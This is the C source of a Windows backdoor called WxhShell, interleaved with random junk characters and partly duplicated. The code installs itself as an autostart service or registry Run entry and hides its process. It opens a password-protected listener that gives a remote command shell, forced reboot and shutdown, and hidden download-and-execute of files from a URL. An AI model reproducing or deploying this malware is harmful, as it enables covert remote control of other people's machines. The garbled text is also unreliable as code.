PROCESS_BASIC_INFORMATION pbi; !@}wDt I}1NB3>^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wOU_*uY@6' if(NULL == hInst ) return 0; kM,C3x{A 9[<)WQe6M g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RW<D<5C g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <g"{Wv: h NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y$"O
VC bbE!qk;hEP if (!NtQueryInformationProcess) return 0; U~:-roQ(\ 17%Mw@+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PGqQ@6B if(!hProcess) return 0; g:hjy@ w 5>[u ` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z&1\{PG3* qm/)ku0 CloseHandle(hProcess); ,U2*FZ[" 'Gj3:-xqL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Z4nAc if(hProcess==NULL) return 0; RoPRQCE 3}}38A|4 HMODULE hMod; I>W=x'PkLn char procName[255]; 6 (]Dh;gC unsigned long cbNeeded; KVclhT<F T;r2.Pupn if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V<GHpFi0 Ayxkv)%:@) CloseHandle(hProcess); uXn1
'K<'2 uvkz'R= if(strstr(procName,"services")) return 1; // 以服务启动 c2l@6<Ww 0XE4<U return 0; // 注册表启动 eA2@Nkw~) } ofm#'7P 0 -|$@-fY; // 主模块 bCRV\myd` int StartWxhshell(LPSTR lpCmdLine) ,E S0NA { C5o#i*| SOCKET wsl; Y]'Z7<U}*E BOOL val=TRUE; Va"0>KX int port=0; *4\:8 struct sockaddr_in door; ;U/&I3dzV ag [ZW if(wscfg.ws_autoins) Install(); */`ki;\A +r2+X:#~T port=atoi(lpCmdLine); ]d$8f $V-~Bu- if(port<=0) port=wscfg.ws_port; 6'k<+IR ?:Uv[|S#> WSADATA data; y%"{I7!A if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DX#Nf""Pw <cps2*' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dqU~`b9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); we;-~A5J door.sin_family = AF_INET; +}Dw3;W}m door.sin_addr.s_addr = inet_addr("127.0.0.1"); xQ7l~O
b door.sin_port = htons(port); fDv2JdiU V5+=e^pa2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s}vAS~~2L3 closesocket(wsl); G#ZH.24Y return 1; <sb~ ^B } }bb;~ T<n if(listen(wsl,2) == INVALID_SOCKET) { Acez'@z closesocket(wsl); b/+u4'" return 1; G/)O@Ugp } 6AAz Wxhshell(wsl); 03$mYS_? WSACleanup(); R`NYEptJ t%d Z-Ym return 0; T6\[iJI| (nQ^ } p$S*dr 94'&b=5+ // 以NT服务方式启动 y6(Z`lx VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u|\1hLXX { 3#LlDC_WC DWORD status = 0; Ouk^O}W6 DWORD specificError = 0xfffffff; Kg{+T` is?{MJZ_ serviceStatus.dwServiceType = SERVICE_WIN32; ? >7[7(| serviceStatus.dwCurrentState = SERVICE_START_PENDING; ROH|PKb7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {:/#Nc$5 serviceStatus.dwWin32ExitCode = 0; j*|VctM serviceStatus.dwServiceSpecificExitCode = 0; Hus)c3Ty7 serviceStatus.dwCheckPoint = 0; '{cIAw/"n serviceStatus.dwWaitHint = 0; E^B'4 L^1NY3=$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )W^F2-{ if (hServiceStatusHandle==0) return; ju8>:y8 1KU!
tL status = GetLastError(); Cwv9 a^ if (status!=NO_ERROR) #|uCgdi { )HEa<P^kJl serviceStatus.dwCurrentState = SERVICE_STOPPED; [:7'?$ serviceStatus.dwCheckPoint = 0; ^
gdaa>L serviceStatus.dwWaitHint = 0; ) ;EBz serviceStatus.dwWin32ExitCode = status; tj' \tW+s' serviceStatus.dwServiceSpecificExitCode = specificError; on4HKeO SetServiceStatus(hServiceStatusHandle, &serviceStatus); iDpSj!x/_ return; mVj9 ,q0 } * `JYC z0d.J1VW serviceStatus.dwCurrentState = SERVICE_RUNNING; /4y o` serviceStatus.dwCheckPoint = 0; sU=H&D99 serviceStatus.dwWaitHint = 0; Kew@&j~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bTI|F]^! } .#EFLXs 0HZ{Y9] // 处理NT服务事件,比如:启动、停止 6,pnw VOID WINAPI NTServiceHandler(DWORD fdwControl) FnwJ+GTu { i}cRi&2[ switch(fdwControl) ncaT?~u j { atj(eg case SERVICE_CONTROL_STOP: u^&^UxCA serviceStatus.dwWin32ExitCode = 0; y5vvu>nd serviceStatus.dwCurrentState = SERVICE_STOPPED; R|'ybW'Y serviceStatus.dwCheckPoint = 0; AzPu) serviceStatus.dwWaitHint = 0; T; 4NRC { @="Pn5<]C SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/]2G^- }
\__i return; aEB_#1 case SERVICE_CONTROL_PAUSE: <;lkUU(WT2 serviceStatus.dwCurrentState = SERVICE_PAUSED; b]e"1Y)D- break; &1Ok`_plO case SERVICE_CONTROL_CONTINUE: L7l
FtX+b serviceStatus.dwCurrentState = SERVICE_RUNNING; ]>!K3kB break; }H53~@WP> case SERVICE_CONTROL_INTERROGATE: oe^ I break; 9p]QM)M }; HVRZ[Y<^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Usvl}{L[ } d z|or9& vz&|J
// 标准应用程序主函数 j/DzCc p7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6%' QjwM_ {
_O?`@g?i -abt:or // 获取操作系统版本 hDDn,uzpd OsIsNt=GetOsVer(); KS+'|q<?w GetModuleFileName(NULL,ExeFile,MAX_PATH); Cp\6W[2+B { qk1_yP // 从命令行安装 PrqlTT}Px if(strpbrk(lpCmdLine,"iI")) Install(); i$Ul(? }{Pp]*I<A // 下载执行文件 1er
TldX if(wscfg.ws_downexe) { 2Ah#<k-gC; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <sbu;dQ` WinExec(wscfg.ws_filenam,SW_HIDE); +Ze}B*0 } ic:zsuEm "x0^#AVg if(!OsIsNt) { E: 68?IJ // 如果时win9x,隐藏进程并且设置为注册表启动 C[cbbp HideProc(); As&Sq-NWf StartWxhshell(lpCmdLine); %@b0[ZC } :U|1 xgB else )MVz$h{c.] if(StartFromService()) [>I<#_^~ // 以服务方式启动 0D.Mke ) StartServiceCtrlDispatcher(DispatchTable); HQdxL*N%^ else LVM%"sd? // 普通方式启动 BKCiIfkZ StartWxhshell(lpCmdLine); dl)Y'DI P;.W+WN return 0; :LQYo'@yB } {lzWrUGO 4\N;2N QO:!p5^: VBlYvZ;$* =========================================== k9R4Y\8P C3f' {} J1U/.`Oy oSKXt}sh _yx>TE2e O/(`S<iip "
NR6#g,+7 r|8d
4 #include <stdio.h> &m7]v,& #include <string.h> Z clQ #include <windows.h> Q$W #include <winsock2.h> Pj^{|U2 1 #include <winsvc.h> ^Z+?h&%% #include <urlmon.h> EJ.SW5 ?=7cF #pragma comment (lib, "Ws2_32.lib") |Zpfq63W #pragma comment (lib, "urlmon.lib") fw~Bza\e (,\+tr8r8 #define MAX_USER 100 // 最大客户端连接数 [S%_In #define BUF_SOCK 200 // sock buffer wmL'F:UP #define KEY_BUFF 255 // 输入 buffer UhWNl]Z )EuvRLo{S7 #define REBOOT 0 // 重启 Kk0g0C:"EO #define SHUTDOWN 1 // 关机 &{hL&BLr 49c:V, #define DEF_PORT 5000 // 监听端口 d"mkL- IPKbMlV#d #define REG_LEN 16 // 注册表键长度 f*% D$Mqg #define SVC_LEN 80 // NT服务名长度 SM#]H-3 i>A s;* // 从dll定义API gfd"v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g)[V(yWu typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *%NT~C
q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /t57!& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sq V},
10~k2{Z // wxhshell配置信息 /9*B)m" struct WSCFG { $9#H04.x int ws_port; // 监听端口 n
ATuD char ws_passstr[REG_LEN]; // 口令 J1|\Q:-7p int ws_autoins; // 安装标记, 1=yes 0=no l/GGCnO/ char ws_regname[REG_LEN]; // 注册表键名 6vo;!V6 char ws_svcname[REG_LEN]; // 服务名 }OR@~V{Gj char ws_svcdisp[SVC_LEN]; // 服务显示名 @})|Z}~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 E0=)HTtS char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,eW%{[g( int ws_downexe; // 下载执行标记, 1=yes 0=no ^ogt+6c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GW@;}m( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YUD`!C BO;tCEV? }; D,*3w'X!K rQs)O<jl // default Wxhshell configuration 8 +/rlHp struct WSCFG wscfg={DEF_PORT, (0r3/t?DQ "xuhuanlingzhe", L.2^`mZs 1, K(rWNO "Wxhshell", sN*N&XG "Wxhshell", LVfF[ "WxhShell Service", &K.d'$q "Wrsky Windows CmdShell Service", .Wj;%| "Please Input Your Password: ", py!|\00} 1, 0B/,/KX "http://www.wrsky.com/wxhshell.exe", $\BE&4g "Wxhshell.exe" L|:`^M+^w }; I\{ 1u H3^},. // 消息定义模块 SiRaFj4s" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pfD c9PMj char *msg_ws_prompt="\n\r? for help\n\r#>"; ?k&Vy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )e+>w=t char *msg_ws_ext="\n\rExit."; oXh#a8 char *msg_ws_end="\n\rQuit."; [)M%cyQ char *msg_ws_boot="\n\rReboot..."; NZLxHD]mp char *msg_ws_poff="\n\rShutdown..."; 3>AMII char *msg_ws_down="\n\rSave to "; u(>^3PJ+ jh%Eq+#S char *msg_ws_err="\n\rErr!"; Oi'5ytsES char *msg_ws_ok="\n\rOK!"; 8,4"uuI ^R7lom. char ExeFile[MAX_PATH]; /wEhVR`= int nUser = 0; 9@(PWz=`? HANDLE handles[MAX_USER]; + T1pJ 89P int OsIsNt; !mJ"gg {0wIR_dGX SERVICE_STATUS serviceStatus; JV^=v@Z3 SERVICE_STATUS_HANDLE hServiceStatusHandle; $oID(P .+3g*Dv{& // 函数声明 ?W?c1> int Install(void); '4+
ur` int Uninstall(void); {9&;Q|D z int DownloadFile(char *sURL, SOCKET wsh);
!Y0Vid int Boot(int flag); DrUO- void HideProc(void); i(%W_d! int GetOsVer(void); 2^[`e g int Wxhshell(SOCKET wsl); TOB-aAO void TalkWithClient(void *cs); I(L,8n5 int CmdShell(SOCKET sock); J s@hLP` int StartFromService(void); \O3m9,a int StartWxhshell(LPSTR lpCmdLine); A5I)^B<( rxvx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MDZ640-Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); KK/tu+" 2>xF){` // 数据结构和表定义 np"\19^ SERVICE_TABLE_ENTRY DispatchTable[] = X;
\+<LE { &ZlVWK~v {wscfg.ws_svcname, NTServiceMain}, =vCY?I$P {NULL, NULL} 45@ I *` }; SuJ aL-; u^+7hkk // 自我安装 C\Wmq
[ int Install(void) }_M~2L?i { ~ ?Qe?hB char svExeFile[MAX_PATH]; S}m)OmrmA HKEY key; YW,tCtI0_ strcpy(svExeFile,ExeFile); Cx@);4arj n`?aC|P2s // 如果是win9x系统,修改注册表设为自启动 1y@i}<9F if(!OsIsNt) { ]b:Lo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { abmYA# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %A9NB! RegCloseKey(key); ]3],r ?-tJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0y'H~( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VX0 %a@ur RegCloseKey(key); WTQ\PANAaR return 0; 8`B3;Zmm } wY{-BuXv } Eak$u>Fd8c } L2[($l else { hc(#{]]. 6EoMt@7g // 如果是NT以上系统,安装为系统服务 ?DS@e@lx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5FPM`hLT if (schSCManager!=0) 4<w.8rR:A { +;(c:@>@, SC_HANDLE schService = CreateService Hh3X
\ ( kYP#SH/ schSCManager, $t'MSlF wscfg.ws_svcname, T@H^BGs wscfg.ws_svcdisp, } ^~F| SERVICE_ALL_ACCESS, @|Cz-J;D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6m/r+?' SERVICE_AUTO_START, [x=s(:qy SERVICE_ERROR_NORMAL, g]l''7G svExeFile, 38Mv25N NULL, a_^\=&?' NULL, kr^P6}' NULL, T$)^gHS NULL, pGP7nw_g NULL /Y:sLGQLD ); > ym,{EHK if (schService!=0) A_"w^E{P { ^&9zw\x;z CloseServiceHandle(schService); k{R> CloseServiceHandle(schSCManager); imhwY#D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 58}U^IW strcat(svExeFile,wscfg.ws_svcname); M~Tuj1? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \}yc`7T:L0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B{n,t}z RegCloseKey(key); 9d0@wq. return 0; Si4!R+4w } 9R!atPz9 } 1fp? CloseServiceHandle(schSCManager); F$y$'Rzu_B } )J o:pkM } W 8<&gh+ Co9^OF-k return 1; ;>%r9pz ~ } (R,#a *CV 9!ngy*\x // 自我卸载 B-RjMxX4> int Uninstall(void) ].avItg { r8t}TU>C HKEY key; j7Yu>cr h]5(]. if(!OsIsNt) { Q^P}\wb> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nUaJzPl RegDeleteValue(key,wscfg.ws_regname); '&P%C" 5 RegCloseKey(key); Y1w9y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v4!VrI RegDeleteValue(key,wscfg.ws_regname); %"i(K@ RegCloseKey(key); d(ZO6Nr Q return 0; &N$<e(K } z#9aP&8 Q } h},IF } Po+.&7F else { X;+sUj8 %_H<:uGO% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a
K[&V't~ if (schSCManager!=0) 7uqzm { "m):Y;9iQ? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZuzEg *lb if (schService!=0) YsC>i`n9 { ,C\i^>= if(DeleteService(schService)!=0) { Gq)]s'r2 CloseServiceHandle(schService); DaQ?\uq CloseServiceHandle(schSCManager); u= *FI return 0; c1(RuP:S } .|KyNBn CloseServiceHandle(schService); 1/B>XkCJ } U7,e/?a CloseServiceHandle(schSCManager); G<zwv3 } EmWn%eMN } AG
nxYV"p vQG5*pR*w return 1; P7bMI e } Bpo4?nCl} 5:[0z5Hww // 从指定url下载文件 [C 7^r3w int DownloadFile(char *sURL, SOCKET wsh) 88O8wJN { ]"As1" HRESULT hr; r.=K~A char seps[]= "/"; R{`(c/%8 char *token; 6?gW-1mY char *file; q4h]o^ + char myURL[MAX_PATH]; x3=A:}t8 char myFILE[MAX_PATH]; FW;?s+Uyx 'T;P;:!\ strcpy(myURL,sURL); {_"<1C token=strtok(myURL,seps); HQ_Ok` while(token!=NULL) ^rR1ZVY { kOrZv,qFG[ file=token; _#E0g'3 token=strtok(NULL,seps); {GT*ZU* } lWk>z; d \##zR_% GetCurrentDirectory(MAX_PATH,myFILE); B N5[,J strcat(myFILE, "\\"); %bn jgy strcat(myFILE, file); yf.~XUk^ send(wsh,myFILE,strlen(myFILE),0); dh\'<|\K send(wsh,"...",3,0); Xh"n]TK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =+-UJo5 if(hr==S_OK) oAVnK[EMq` return 0; wc@X.Q[ else e`_LEv return 1; &ee~p&S,> hp50J } @Sn(lnlB %)8}X>xq // 系统电源模块 ./Zk`-OBT int Boot(int flag) Lnl(2xD { KhR8 1\ HANDLE hToken; @l5"nBs<_: TOKEN_PRIVILEGES tkp; /N10
x_Y!5yg
E if(OsIsNt) { H [\o RId OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oG?Xk%7&\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _Kf% \xg tkp.PrivilegeCount = 1; 3AtGy'NTp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q-2Bt,Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yjX9oxhtL if(flag==REBOOT) { K&]G3W%V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hyl%mJ return 0; .p3,O6y2(F } 3BJ0S.TF else { Xza(k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (*'f+R`$ return 0; &-6Gc;f8 } ORw,)l } `cUl7 'j else { AM \'RHL if(flag==REBOOT) { cd_yzpL@}J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :J@gmY:C return 0; V! A~K
} `5.'_3 else { Qx#"q '2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ql{OETn# return 0; |v%YQ
R } %)W2H^
} &)ChQZA U(g:zae return 1; L|xbR#v } 0RLg:SV YnAm{YyI // win9x进程隐藏模块 ;bib/ void HideProc(void) 8qTys8 { I"<\<^B< s} ;{ZAtE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?Ep [M:,q if ( hKernel != NULL ) K=k"a { n
M*%o- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }2.`N%[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WX?IYQ+ FreeLibrary(hKernel); k$R-#f; } KwSqKI7]0 ,m:.-iy? return; & l&:`nsJ } )9`qG:b' 9}<ile7^ // 获取操作系统版本 BM
.~ 5\ int GetOsVer(void) E
A1?)|}n { M`!H"R 7 OSVERSIONINFO winfo; J @1!Oq> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "7F?@D$e GetVersionEx(&winfo); 7'V@+5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g7`LEF <A return 1; w``ST else <)c)%'v return 0; 9IfmW^0 } ;))+>%SGCt c9u`!'g`i // 客户端句柄模块 K!Y71_# int Wxhshell(SOCKET wsl) Yu^4VXp~M% { ~Otoqu| SOCKET wsh; mnX2a struct sockaddr_in client;
:KP@RZm DWORD myID; 6}Ci>_i4# ag[wdoj while(nUser<MAX_USER) H=vUYz
{ `0gyr(fES int nSize=sizeof(client); nT$SfGFj8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WO>nIo5Y if(wsh==INVALID_SOCKET) return 1; rcG"o\g@+ ,m|h<faZL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'yEHI if(handles[nUser]==0) j-}O0~Jz closesocket(wsh); <^jQo<kU else '4Bm;&6M nUser++; EUX\^c]n } O;jrCB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aSQ#k;T[ $Sip$\+* return 0; 2-v%`fA } i3mcx)d@H y/7\?qfTk // 关闭 socket 8dIgjQX| void CloseIt(SOCKET wsh) )}Kf= { Js?]$V" closesocket(wsh); .|fHy nUser--; 4!yzsPJL ExitThread(0); p]+Pkxz]' } H40p86@M *P=VFP // 客户端请求句柄 E4/Dr}4 void TalkWithClient(void *cs) xOmi\VbM { wJo}!{bN o|<!"AD7 SOCKET wsh=(SOCKET)cs; 8wFJ4v3 char pwd[SVC_LEN]; B%6)}Nl[ char cmd[KEY_BUFF]; Z=o2H Bm7 char chr[1]; 3bH'H*2 int i,j; }9OC,Y8?D j6 z^Tt12 while (nUser < MAX_USER) { &@OT*pNna x
g if(wscfg.ws_passstr) { vXZOy%$o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;dgp+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0GCEqQy8 //ZeroMemory(pwd,KEY_BUFF); -C]5>& W i=0; >KhOz[Zg while(i<SVC_LEN) { :':s@gqr 9qzHS~l // 设置超时 0 /U{p,r6` fd_set FdRead; K is"L(C struct timeval TimeOut; yWo; a FD_ZERO(&FdRead); I1M%J@ Cz FD_SET(wsh,&FdRead); [waIi3Dv\ TimeOut.tv_sec=8; `b7t4d* TimeOut.tv_usec=0; Eo]xNn/g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2pa5U;u:+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4>e&f&y~ c<Tf
2]vZE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7ZWgf"1j pwd=chr[0]; ]&+s6{} if(chr[0]==0xd || chr[0]==0xa) { 3;]H1
1 pwd=0; 8'io$6d= break; TKmf+ZT*r } -k e's i++; 'zuIBOH`j3 } 1\2no{Vh >U27];}y // 如果是非法用户,关闭 socket R$[vm6T? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >!1-lfa8 } HY:o+ciH' }00BllJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cI OlhX@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^8N}9a hT+_(>hT while(1) { VTY 5]|; .Vvx,>>D ZeroMemory(cmd,KEY_BUFF); R(G7m@@{ RQ"
,3.R== // 自动支持客户端 telnet标准 d|Lj~x| j=0; ^o&. fQ* while(j<KEY_BUFF) { Z o(rTCZX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S9FE cmd[j]=chr[0]; .Rs^YZ F if(chr[0]==0xa || chr[0]==0xd) { H8}oIA"b cmd[j]=0; X2~!(WxU F break; =^,m` _1 } N2<!}Eyu j++; _g"<UV*H } i2SR{e8:GF H9Q&tl9 // 下载文件 O5T{eBo\ if(strstr(cmd,"http://")) { *_\_'@1|J) send(wsh,msg_ws_down,strlen(msg_ws_down),0); Yufc{M00 if(DownloadFile(cmd,wsh)) $suzW;{# send(wsh,msg_ws_err,strlen(msg_ws_err),0); v O_*yh1 else :nOFR$W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ":QZy8f9% } m
GYoM else { b,1ePS
s&3Vg7B switch(cmd[0]) { )oPBa bq0zxg% // 帮助 UH"%N)[ case '?': { Em~>9f
?Q( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }`m/bgtFX
break; 3eQ&F~S } YNsJZnGr8# // 安装 $kp{Eg ' case 'i': { hZt!/?dc if(Install()) Bh-ym8D send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' %o#q6O else :&."ttf= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[{ Vu0R break; =fFP5e [' } ][Rh28?I{ // 卸载 z*%q@]ym case 'r': { smo~7; if(Uninstall()) fVpMx4&F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; kI134i= else XVZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); amY!qg0P* break; f9{Rb/l!BQ } [Y|t]^M // 显示 wxhshell 所在路径 ?m"( Soh case 'p': { *u;Iw{.{ char svExeFile[MAX_PATH]; 1#+S+g@# strcpy(svExeFile,"\n\r"); YS"=yye3e strcat(svExeFile,ExeFile); P71Lqy)5}A send(wsh,svExeFile,strlen(svExeFile),0); "S?z@i(K^ break; WNrk}LFof } C!bUI8x
z // 重启 E+;7>ja case 'b': { ]N F[>uiW send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ePo}y])2 if(Boot(REBOOT)) gc$l^`+M send(wsh,msg_ws_err,strlen(msg_ws_err),0); k~nBiV else { k~w*W X' closesocket(wsh); ]~3V}z,T* ExitThread(0); -6B4sZpzD } h(EhkCf break; +T Dw+ } H"WprHe // 关机 c9h6C case 'd': { Wvf
^N( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o!A+&{ if(Boot(SHUTDOWN)) E hMNap}5" send(wsh,msg_ws_err,strlen(msg_ws_err),0); z-)O9PV else { 1yu4emye4 closesocket(wsh); [` 7ThHX ExitThread(0); wz%NbLy- } *gWwALGo5 break; $-sHWYZ } @E|}Y // 获取shell oXF.1f/h case 's': { #QMz<P/Gl6 CmdShell(wsh); )\$|X}uny& closesocket(wsh); 97!;.f- ExitThread(0); +52{-a,> break; g3y+&Y_ } oNF6<A(@$ // 退出 pFjK}JOF case 'x': { *J`O"a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZPYS$Ydy CloseIt(wsh); II,8O break; KPUV@eQ, } {bY%# m // 离开 h@ryy\9 case 'q': { Qt<&WB
fn send(wsh,msg_ws_end,strlen(msg_ws_end),0); $(x] closesocket(wsh); l+^*LqEW2 WSACleanup(); |&i<bqLw: exit(1); {"KMs[M break; 7-fb.V9 } R (n2A$ } &Au@S$ij } }k.Z~1y ncT&Gr // 提示信息 '6%2.[o if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `e}B2;$A3 } K]w'&Qm8W } "3Y0`&:D ey$&;1x#5 return; ab?aQ*$+ } z<' u1l3 4BpZJ~(p // shell模块句柄 7HYwLG:\~ int CmdShell(SOCKET sock) @f3E`8 { :Zw2'IV STARTUPINFO si; AH~E )S ZeroMemory(&si,sizeof(si)); R.<g3"Lm> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
rjnrju+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e$Pj.>-<= PROCESS_INFORMATION ProcessInfo; mQ"-,mMI char cmdline[]="cmd"; pOoEI+t CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DZtsy!xA return 0; ;Q`lNFa } a0H+.W+] 67FWa // 自身启动模式 7WzxA=*# int StartFromService(void) )zDCu` { &wDs6xq typedef struct o-B$J? { [j+sC* DWORD ExitStatus; >Cq<@$I2EB DWORD PebBaseAddress; mj7#&r,1l DWORD AffinityMask; G$('-3@i`w DWORD BasePriority; 1T
n} ULONG UniqueProcessId; ?(_08O ULONG InheritedFromUniqueProcessId; gL/9/b4 } PROCESS_BASIC_INFORMATION; 1EX;MW-p<T E}Uc7G PROCNTQSIP NtQueryInformationProcess; *MW\^PR? >uEzw4w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Y@H4LF;1x static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M x"\5i z},# ~L6$q HANDLE hProcess; tw)mepwB PROCESS_BASIC_INFORMATION pbi; ^E>3|du]O Q\sK"~@3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xne1gms if(NULL == hInst ) return 0; uHRsFlw S~G]~gt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q{x8_E!L g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >9Vn.S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <<O$ G7c .O<obq~;C if (!NtQueryInformationProcess) return 0; -jmY)(\ ZXPX,~ 5o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p!AAFmc if(!hProcess) return 0; !C.4<?*| sU^1wB
